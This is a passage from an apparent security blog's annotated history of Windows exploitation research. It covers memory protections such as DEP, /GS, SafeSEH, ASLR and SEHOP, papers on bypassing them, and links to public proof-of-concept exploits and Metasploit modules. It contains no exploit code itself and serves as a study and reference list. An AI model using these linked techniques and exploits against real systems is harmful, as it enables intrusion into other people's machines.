<li><a href="http://www.argeniss.com/research/Churrasco2.zip" target="_blank">http://www.argeniss.com/research/Churrasco2.zip</a></li>
</ul>
<p>13- again later in 2008 mxtone wrote a paper called Analyzing local privilege escalations in win32k<br />
<a href="http://www.argeniss.com/research/Churrasco2.zip" target="_blank">http://www.uninformed.org/?v=10&amp;a=2&amp;t=pdf</a></p>
<p>in that paper he analyzed vulnerabilities and exploitation vector of win32k driver .</p>
<p>14- in ucon 2009  Stephen A. Ridley did a presentation called Intro to Windows Kernel Security Development<br />
<a href="http://www.dontstuffbeansupyournose.com/trac/browser/projects/ucon09/Intro_NT_kernel_security_stuff.pdf" target="_blank">download it here</a></p>
<p>15- Tavis Ormandy, Julien Tinnes and great presentation called There&#8217;s a party at ring0 and you&#8217;re invited<br />
<a href="http://www.cr0.org/paper/to-jt-party-at-ring0.pdf" target="_blank">http://www.cr0.org/paper/to-jt-party-at-ring0.pdf</a></p>
<p>16- in January 2010 Matthew “j00ru” Jurczyk and Gynvael Coldwind, Hispasec wrote a detailed paper called GDT and LDT in Windows kernel vulnerability exploitation.<br />
<a href="http://vexillium.org/dl.php?call_gate_exploitation.pdf" target="_blank">http://vexillium.org/dl.php?call_gate_exploitation.pdf</a><br />
in that  paper they describes some possible ways of exploiting kernel-mode write-what-where vulnerabilities in a stable manner</p>
<p>17- later  they did a presentation called Case Study of Recent Windows Vulnerabilities in HITB <span style="font-family: monospace; line-height: 18px; font-size: 12px; color: #666666; white-space: pre;"><span style="color: #000000; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">2010</span></span></p>
<h3>Windows memory protections !</h3>
<p>OK so now we are going back to user-land this time with memory protections !<br />
<a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Wolf_spider_attack_position1.jpg"><img class="aligncenter size-medium wp-image-1129" title="Welcome To Memory Protections !" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Wolf_spider_attack_position1-300x262.jpg" alt="" width="300" height="262" /></a></p>
<p>due to  lots of generic exploitation methods as well as lots of worms  ! Microsoft decided to use of memory protections in hardware and software layer. so from windows XP SP2 (Windows XP Tablet PC Edition 2005) , Windows Server 2003 Service Pack 1 (OS level) and from visual studio 2003 (compiler level) added lots of memory protections functionality.</p>
<p>here i&#8217;m going to have brief history of them and then  i will introduce  great researchers and their research against memory protections .</p>
<p>1- <strong>Data Execution Prevention</strong> (DEP)</p>
<p>DEP is a security feature included in modern Microsoft Windows operating systems that is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow, for example.</p>
<p>hardware-enforced DEP for CPUs that can mark memory pages as non-executable, and software-enforced DEP with a limited prevention for CPUs that do not have hardware support.</p>
<p>in windows XP SP2 and windows 2003 sp1 and sp2 you can get access on DEP setting by editing boot.ini in noexecute section.</p>
<p>there is four options :</p>
<p>1- <strong>OptIn : </strong>DEP only will work for all of windows services as well as  necessary programs.</p>
<p>2- <strong>OptOut</strong><strong>: </strong>DEP  will work for all of windows services as well as  all of 3d-party installed program but you can add some process as            exception from controll panel.</p>
<p>3- <strong>AlwaysOn : </strong>fully protected by DEP no exception is acceptable.</p>
<p>4- <strong>AlwaysOff : </strong>Go to hell DEP , turns DEP off .</p>
<p>most of CPUs those are made after 2004 (AMD , Intel) can support hardware DEP.</p>
<p>read more on DEP : <a href="http://support.microsoft.com/kb/875352">http://support.microsoft.com/kb/875352</a></p>
<p><strong>/GS (Buffer Security Check)</strong></p>
<p>GS (a.k.a stack cookie) is a compiler option that added from visual studio 2003 and will detects some buffer overruns that overwrite the return address, a common technique for exploiting code that does not enforce buffer size restrictions. This is achieved by injecting security checks into the compiled code.</p>
<p>so by using /GS flag compiler will add <strong>__security_init_cookie() </strong>function to your program and each time you want to overwrite a function return address you actually overwrite cookie as well and so comparison of cookie will fall so process will be terminate and you can&#8217;t use your return address.</p>
<p>for more detail read : <a href="http://msdn.microsoft.com/en-us/library/Aa290051">http://msdn.microsoft.com/en-us/library/Aa290051</a></p>
<p><strong>/SAFESEH</strong></p>
<p>a linked option also system functionality added in visual studio 2005. when a program is linked with /SAFESEH in header of file will be contain of a acceptable Exception Handler Table. so each time an exception occurs and attacker wants overwrite a record from exception handler the ntdll dispatcher will understand this and will terminate program execution.</p>
<p>for more detail read : <a href="http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx">http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx</a></p>
<p><strong>ASLR</strong></p>
<div id="_mcePaste">Windows Vista, 2008 server, and Windows 7 offer yet another built-int security technique (like PAX), which randomizes the base addresses of executables, dll’s, stack and heap in a process’s address space (in fact, it will load the system images into 1 out of 256 random slots, it will randomize the stack for each thread, and it will randomize the heap as well).</div>
<div>in simple explanation if you want use an address in system in one of system dll&#8217;s   after your target system got restart your address is changed and not valid anymore so exploitation will fail again.</div>
<p>for more detail read : <a title="ASLR in Vista" href="http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx" target="_blank">here</a></p>
<p><strong>SEHOP</strong></p>
<p>used in most modern windows operation systems like 2008 and 7 . the idea beyond this new mitigation comes from matt miller article called <span style="font-family: Verdana, Arial, Helvetica, sans-serif; line-height: 15px; font-size: 12px; color: #333333;">Preventing the Exploitation of SEH Overwrites. </span>for detailed explanation of this protection just read flowing link :</p>
<p><span style="font-family: Verdana, Arial, Helvetica, sans-serif; line-height: 15px; font-size: 12px; color: #333333;"><a href="http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx">http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx</a></span></p>
<p><strong>Heap Protection</strong></p>
<p>Microsoft also introduce to some new heap protections like heap meta cookie , safe unlinking , and in newer systems (after vista) function pointer obfuscation and so on &#8230;</p>
<p>==================================================</p>
<h3 style="text-align: center;"><strong>Advanced Windows Exploitation (bypassing filter and protections ) </strong></h3>
<p>after 2005 exploitation getting harder and harder and number of public and &#8220;white-hat&#8221; hackers who can made a reliable multi platform exploit for modern windows OS was not too much.</p>
<p>in this section i want to have review on most important and noticeable researches against protections.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/th_dullien.jpg"><img class="aligncenter size-full wp-image-1132" title="th_dullien" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/th_dullien.jpg" alt="" width="150" height="161" /></a></p>
<p>1- Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002</p>
<p><a href="http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt" target="_blank">http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt</a></p>
<p>windows 2k heap exploitation.</p>
<p>2- chris anley wrote Creating Arbitrary Shellcode In Unicode Expanded Strings</p>
<p><a href="http://www.net-security.org/dl/articles/unicodebo.pdf" target="_blank">http://www.net-security.org/dl/articles/unicodebo.pdf</a></p>
<p>this was first public article about unicode based shellcode and is also known as &#8220;Venetian&#8221; shellcode. the method explained in this paper was good enough to making poor ASCII shellcodes .</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/speaker06_Dave-Aitel.jpg"><img class="aligncenter size-full wp-image-1133" title="speaker06_Dave Aitel" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/speaker06_Dave-Aitel.jpg" alt="" width="106" height="119" /></a></p>
<p><strong><span style="font-weight: normal;">3- Dave aitel advanced windows exploitation in 2003 </span></strong></p>
<p><span style="font-weight: normal;"><a href="http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt" target="_blank">http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt</a></span></p>
<p><span style="font-weight: normal;">in that talk dave talked about no so typical windows exploitation and start making game more advanced . </span></p>
<p style="text-align: center;"><span style="font-weight: normal;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dwl.jpg"><img class="aligncenter size-medium wp-image-1134" title="dwl" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dwl-200x300.jpg" alt="" width="140" height="210" /></a><br />
</span></p>
<p>4- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server by david litchfield</p>
<p><a href="http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf" target="_blank">http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf</a></p>
<p>this paper actually was first detailed paper about abusing SEH (structured exception handler)  and the generic way to bypass /GS  and also write not lots of public exploit are using this method for exploitation so it also can called one of most important research in windows exploitation history.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg"><img class="aligncenter size-full wp-image-1090" style="display: block; margin-left: auto; margin-right: auto; border: 0px initial initial;" title="matt conover" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg" alt="" width="106" height="119" /></a></p>
<p>5- reliable heap exploits  (matt Conover  in cansecwest 2004 ) and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2)</p>
<p><a href="http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt" target="_blank">http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt</a></p>
<p>i think that was one of most important heap related research in history of windows exploitation a great and gentle introduction to overwrite a chunk on lookaside list for bypassing safe unlinking and also give lots of great information  about windows heap manager internals .</p>
<p>6- later in 2004 matt miller wrote an article Safely Searching Process Virtual Address Space</p>
<p><a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf" target="_blank">http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf</a></p>
<p>this article was first great and public article about using egg-hunter shellcode and it&#8217;s about when we have limited memory space for our shellcode and we can store our big and main shellcode some-where in memory. this can be also called practical introduction to search shellcodes .</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skylined.png"><img class="aligncenter size-full wp-image-1136" title="skylined" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skylined.png" alt="" width="80" height="83" /></a></p>
<p>7- later in 2004  skylined wrote on IE exploit and used a technology called Heap Spray</p>
<p><a href="http://www.exploit-db.com/exploits/612">http://www.exploit-db.com/exploits/612</a></p>
<p>heap spray is one of most important technologies even in modern exploitation and it&#8217;s about <span style="font-family: sans-serif;">code that <em>sprays the heap</em> attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process&#8217; heap and fill the bytes in these blocks with the right values. They commonly take advantage from the fact that these heap blocks will roughly be in the same location every time the heap spray is run.</span></p>
<p>for a few years heap spray was just used in java script and mostly in browsers but today modern attackers are using anything possible to allocate more heap for sparing .  like action script , silver light , bmp files and &#8230; and not just in browsers !  from my point of view heap spray is like cheating in modern exploitation !</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skape.png"><img class="aligncenter size-full wp-image-1137" title="skape" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skape.png" alt="" width="130" height="174" /></a></p>
<p>8- bypassing hardware-enforced DEP skape (matt miller) Skywing (ken johnson) (in October 2005)</p>
<p><a href="http://www.uninformed.org/?v=2&amp;a=4&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=2&amp;a=4&amp;t=pdf</a></p>
<p>yay ! they finally did it . hardware enforced DEP bypassed by using a return to libc style attack . in simple explanation  the problem was in not CPU the problem and weakness was in windows related API that was used for setting DEP for various process. and the API was NtSetInformationProcess. but there was some simple problem in that article like they forget talk about it we need to to have EBP always writable.</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/brett-moore.jpg"><img class="aligncenter size-full wp-image-1139" title="brett-moore" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/brett-moore.jpg" alt="" width="129" height="189" /></a></p>
<p>9- Exploiting Freelist[0] On XP Service Pack 2 by brett moore (dec 2005)</p>
<p><a href="http://www.orkspace.net/secdocs/Windows/Protection/Bypass/Exploiting%20Freelist%5B0%5D%20On%20XP%20Service%20Pack%202.pdf" target="_blank">download here</a></p>
<p>this is was another great example of bypassing heap protections by using Freelist[0] and really useful is some case .</p>
<p>10 -  later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed</p>
<p><a href="http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf</a></p>
<p>this article was great article for porting exploits to kernel-land.</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hd_moore.jpg"><img class="aligncenter size-full wp-image-1140" title="hd_moore" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hd_moore.jpg" alt="" width="168" height="112" /></a></p>
<p>11-  in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows</p>
<p><a href="http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf</a></p>
<p>good example of real-world driver exploitation.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ruben_rooted.png"><img class="aligncenter size-thumbnail wp-image-1174" title="ruben_rooted" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ruben_rooted-150x150.png" alt="" width="150" height="150" /></a></p>
<p>12-  in 2007  Ruben Santamarta wrote Exploiting Comon Flaws In Drivers</p>
<p><a href="http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1" target="_blank">Read it here</a></p>
<p>note that before ruben we can find lots of great research about this topic but  ruben makes  it different . he  made a tool that called kartoffel which is a great driver fuzzer for finding IOCTL vulnerabilities  in drivers. but kartoffel was not main reason to make it different.</p>
<p>after he wrote kartofell and published lots of detailed advisories in various vendor drivers , windows driver exploitation got speed and changed to one of focusable area in exploitation .</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/alex-sotirov.jpg"><img class="aligncenter size-medium wp-image-1143" title="alex-sotirov" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/alex-sotirov-294x300.jpg" alt="" width="206" height="210" /></a></p>
<p>13- Heap Feng Shui in JavaScript by Alexander sotirov (2007)</p>
<p><a href="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf" target="_blank">http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf</a></p>
<p>notable improvements to skylined heap spray technology . heap spray was good but blind and not so reliable is some case.  Heap Feng Shui is great research about doing advanced FU in heap  (heap manipulation) it will lead you to have more control on heap.</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/nico.png"><img class="aligncenter size-medium wp-image-1144" title="nico" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/nico-204x300.png" alt="" width="143" height="210" /></a></p>
<p>14- Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007)</p>
<p><a href="http://kkamagui.springnote.com/pages/1350732/attachments/579350" target="_blank">http://kkamagui.springnote.com/pages/1350732/attachments/579350</a></p>
<p>nico is one of a few guys that focused on windows heap he also developed immunity debugger heaplib and did lots of great heap related researches. he is one of world leading heap !</p>
<p>15- Heaps About Heaps by brett moore (in 2008)</p>
<p><a href="http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt" target="_blank">http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt</a></p>
<p>that was one of most complete researches about heap. yes that is just a few slides but great hint if you want do something on heap !</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/mark-dowd.png"><img class="aligncenter size-full wp-image-1146" title="mark-dowd" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/mark-dowd.png" alt="" width="135" height="195" /></a></p>
<p>16- Bypassing browser memory protections in Windows Vista  by Mark Dowd and Alex Sotirov (in 2008)</p>
<p><a href="http://taossa.com/archive/bh08sotirovdowd.pdf" target="_blank">http://taossa.com/archive/bh08sotirovdowd.pdf</a></p>
<p>one of most greatest exploitation related research with a focus on bypassing browsers memory protections in vista .</p>
<p>great  generic .net shellcode trick (loading a .net dll and use shellcode in it),  java spraying , deep into  combined protections  and great ways to bypassing them.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ben-hawkes.png"><img class="aligncenter size-full wp-image-1148" title="ben-hawkes" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ben-hawkes.png" alt="" width="128" height="128" /></a></p>
<p>17 &#8211; Attacking the Vista Heap by ben hawkes (in 2008)</p>
<p><a href="http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf" target="_blank">http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf</a></p>
<p>great research about vista heap internals and some ways to bypassing vista heap protections.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hovav.jpg"><img class="aligncenter size-full wp-image-1149" title="hovav" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hovav.jpg" alt="" width="100" height="113" /></a></p>
<p>18- Return oriented programming Exploitation without Code Injection by Hovav Shacham  (and others ) (in 2008)</p>
<p><a href="http://cseweb.ucsd.edu/~hovav/dist/blackhat08.pdf" target="_blank">http://cseweb.ucsd.edu/~hovav/dist/blackhat08.pdf</a></p>
<p>not a so new technology. it&#8217;s just our old code reuse ! but with great official introduction he call it  Return-Oriented-Programming (now known as ROP ). this technology is great to bypass permanent DEP (vista / 7 / 2008) (because you can&#8217;t use return-to-libc style attack anymore)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/cesar_cerrudo.gif"><img class="aligncenter size-full wp-image-1178" title="cesar_cerrudo" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/cesar_cerrudo.gif" alt="" width="100" height="128" /></a></p>
<p>19- Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 (2008)</p>
<p><a href="http://www.argeniss.com/research/TokenKidnapping.pdf" target="_blank">http://www.argeniss.com/research/TokenKidnapping.pdf</a></p>
<p>20- Defeating DEP Immunity Way by Pablo sole (2008)</p>
<p><a href="http://www.immunityinc.com/downloads/DEPLIB.pdf" target="_blank">http://www.immunityinc.com/downloads/DEPLIB.pdf</a></p>
<p>first automation of ROP . thats it ;)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/jmold.png"><img class="aligncenter size-full wp-image-1150" title="jmold" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/jmold.png" alt="" width="90" height="90" /></a></p>
<p>21- Practical Windows XP2003 Heap Exploitation (bh 2009) by John McDonald and Chris Valasek.</p>
<p><a href="http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf" target="_blank">http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf</a></p>
<p>if you want write a heap exploit for modern OS . you should read this one . most complete heap related article .</p>
<p>22- Bypassing SEHOP  by Stefan Le Berre Damien Cauquil (in 2009)</p>
<p><a href="http://www.sysdream.com/articles/sehop_en.pdf" target="_blank">http://www.sysdream.com/articles/sehop_en.pdf</a></p>
<p>cool and good research ! but ALSR will make it not so useful because SEHOP = SEHOP + ASLR</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dark-dion-01.jpg"><img class="aligncenter size-medium wp-image-1151" title="dark-dion-01" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dark-dion-01-300x225.jpg" alt="" width="210" height="158" /></a></p>
<p>23- Interpreter Exploitation  : Pointer Inference and JIT Spraying by Dionysus Blazakis (2010)</p>
<p><a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf" target="_blank">http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf</a></p>
<p><a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf" target="_blank">http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf</a></p>
<p>Great ! exploitation is still alive . generic exploitation method for bypassing DEP and ASLR together . if you read and understand it you can write lots of exploits for windows 7 !</p>
<p>24- write-up of Pwn2Own 2010 by <span style="font-family: Verdana, Helvetica, Arial, Geneva, sans-serif; line-height: 18px; font-size: 12px; color: #333333;"> Peter Vreugdenhil (2010)</span></p>
<p><a href="http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf" target="_blank">http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf</a></p>
<p>a great and short article about how to own DEP+ASLR without any 3rd-party plugin</p>
<p>(used two vulnerability and toke around 4 minutes)</p>
<p>25- ruben santamarta all in one 0day presented in rootedCON (2010)</p>
<p><a href="http://wintercore.com/downloads/rootedcon_0day_english.pdf" target="_blank">http://wintercore.com/downloads/rootedcon_0day_english.pdf</a></p>
<p>some great idea for bypassing IE XSS Filter and protected mod not exploitation specific but it&#8217;s great for being combined with other exploitation methods .</p>
<p>=========================================================</p>
<h3><strong>history of some not so typical windows exploits:</strong></h3>
<p>in this section i&#8217;m going to archive some of interesting exploits i saw you can learn lots of things from them !</p>
<p>1- one of first real-world HW-DEP bypass Exploit by devcode : <a href="http://www.exploit-db.com/exploits/3652" target="_blank">here</a></p>
<p>2- bypassing DEP by returning into HeapCreate by toto : <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/7246/entry/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb" target="_blank">here</a></p>
<p><a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/7246/entry/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb" target="_blank"></a>3- first public ASLR bypass exploit by using partial overwrite  by skape (matt miller) : <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/email/ani_loadimage_chunksize.rb" target="_blank">here</a></p>
<p>4- heap spray and bypassing DEP by skylined : <a href="http://skypher.com/SkyLined/download/www.edup.tudelft.nl/~bjwever/exploits/InternetExploiter2.zip" target="_blank">here</a></p>
<p>5- first public exploit that used ROP  for bypassing DEP in adobe lib TIFF vulnerability : <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8833/raw/modules/exploits/windows/fileformat/adobe_libtiff.rb" target="_blank">here</a> (is this case ASLR bypass is possible !)</p>
<p>6-  exploit codes of bypassing browsers memory protections : <a href="http://phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections-code.zip" target="_blank">here</a></p>
<p>7-  Cesar Cerrudo PoC&#8217;s on Tokken TokenKidnapping .  PoC for  2k3: <a href="http://www.argeniss.com/research/Churrasco.zip" target="_blank">here</a> , PoC 2k8: <a href="http://www.argeniss.com/research/Churrasco2.zip" target="_blank">here</a></p>
<p>8- Tavis Ormandy KiTra0d an exploit works from win 3.1 to win 7 . PoC <a href=" http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip" target="_blank">here</a> (metasploit updated module works more interesting !)</p>
<p>9- old ms08-067 metasploit module multi-target and DEP bypass  PoC <a href="http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb" target="_blank">here</a></p>
<p>10- PHP 6.0 Dev str_transliterate() Buffer overflow &#8211; NX + ASLR Bypass (using ROP and Brute Forcing ASLR) PoC <a href="http://www.exploit-db.com/exploits/12189" target="_blank">here</a></p>
<p>11- Stephen Fewer SMBv2 Exploit . PoC <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8916/raw/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb" target="_blank">here</a></p>
<p>note 1  :there is lots of other interesting exploits in windows platform you can just find them in <a href="www.exploit-db.com" target="_blank">here</a> and also <a href="www.metasploit.com" target="_blank">here</a> .</p>
<p>note 2: i saw lots of other great and advanced exploits in commercial packages . (they are commercial so forget them ;) )</p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong>===================================================</strong></p>
<p><strong><span style="font-weight: normal;"> </span></strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<h3><strong>history of related windows exploitation books !</strong></h3>
<p>in this section i&#8217;m going to archive some books about windows exploitation.</p>
<p>1- Exploiting Software How to Break Code By (Greg Hoglund, Gary McGraw)</p>
<p>2- The Art of Software Security Assessment: Identifying and Preventing Software  Vulnerabilities (By <a class="v1" target="_new">Mark Dowd</a>, <a class="v1" target="_new">John McDonald</a><a class="v1" target="_new">)</a></p>
<p>3- Buffer Overflow Attacks: Detect, Exploit, Prevent (by James C. Foster)</p>
<p>4- Windows Internals (by <span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal; font-size: small;">Mark Russinovich , David A. Solomon, Alex Ionescu)</span></p>
<h3><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal; font-size: xx-small;">5-  <span style="font-weight: normal;">The Shellcoders Handbook Discovering and Exploiting Security</span></span></span></h3>
<h5><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal; font-size: xx-small;"><span style="font-weight: normal;"><strong><span style="font-weight: normal;">(by Jack Koziol, David Litchfield, Dave Aitel, </span><span style="font-size: 13px;"><span style="font-weight: normal;">Chris Anley, Sinan Eren, Neel Mehta, and Riley Hassell)</span></span></strong></span></span></span></h5>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">6- Software Vulnerability Guide ( by HERBERT H. THOMPSON , SCOTT G. CHASE)</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">7- ADVANCED WINDOWS DEBUGGING (by Mario Heward , Daniel Pravat)</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">8- Reversing: Secrets of Reverse Engineering</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">9- great step by step exploit writing tutorials by my friend <span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 20px;">Peter Van Eeckhoutte <span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal;">:</span></span></span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;"><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 20px;"><span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/head1_thumb636_thumb13_thumb.jpg"><img class="aligncenter size-thumbnail wp-image-1169" title="head1_thumb636_thumb13_thumb" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/head1_thumb636_thumb13_thumb-150x150.jpg" alt="" width="150" height="150" /></a><br />
</span></span></span></span></p>
<ol>
<li><span style="color: #000000;">Exploit writting tutorial part 1:Stack Based Overflows</span><span style="color: #000000;"> &#8211; </span><span style="color: #000000;"><a href="http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 2: Stack Based Overflows &#8211; jumping to shellcode</span><span style="color: #000000;"> &#8211; <a href="http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 3: SEH Based Exploits</span><span style="color: #000000;"> &#8211; <a href="http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 3b: SEH Based Exploits</span><span style="color: #000000;"> </span><span style="color: #000000;">- just another example  - <a href="-http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 4: From Exploit to Metasploit &#8211; <a href=" The basics -http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 5:  speed up basic exploit development &#8211; <a href="-http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/ " target="_blank">here</a></span></li>
<li><span style="color: #000000;"><span style="color: #000000;">Exploit writting tutorial part 6: Bypassing GS, SafeSeh, SEHOP, HW DEP and ASLR &#8211; <a href="-http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/" target="_blank">here</a></span></span></li>
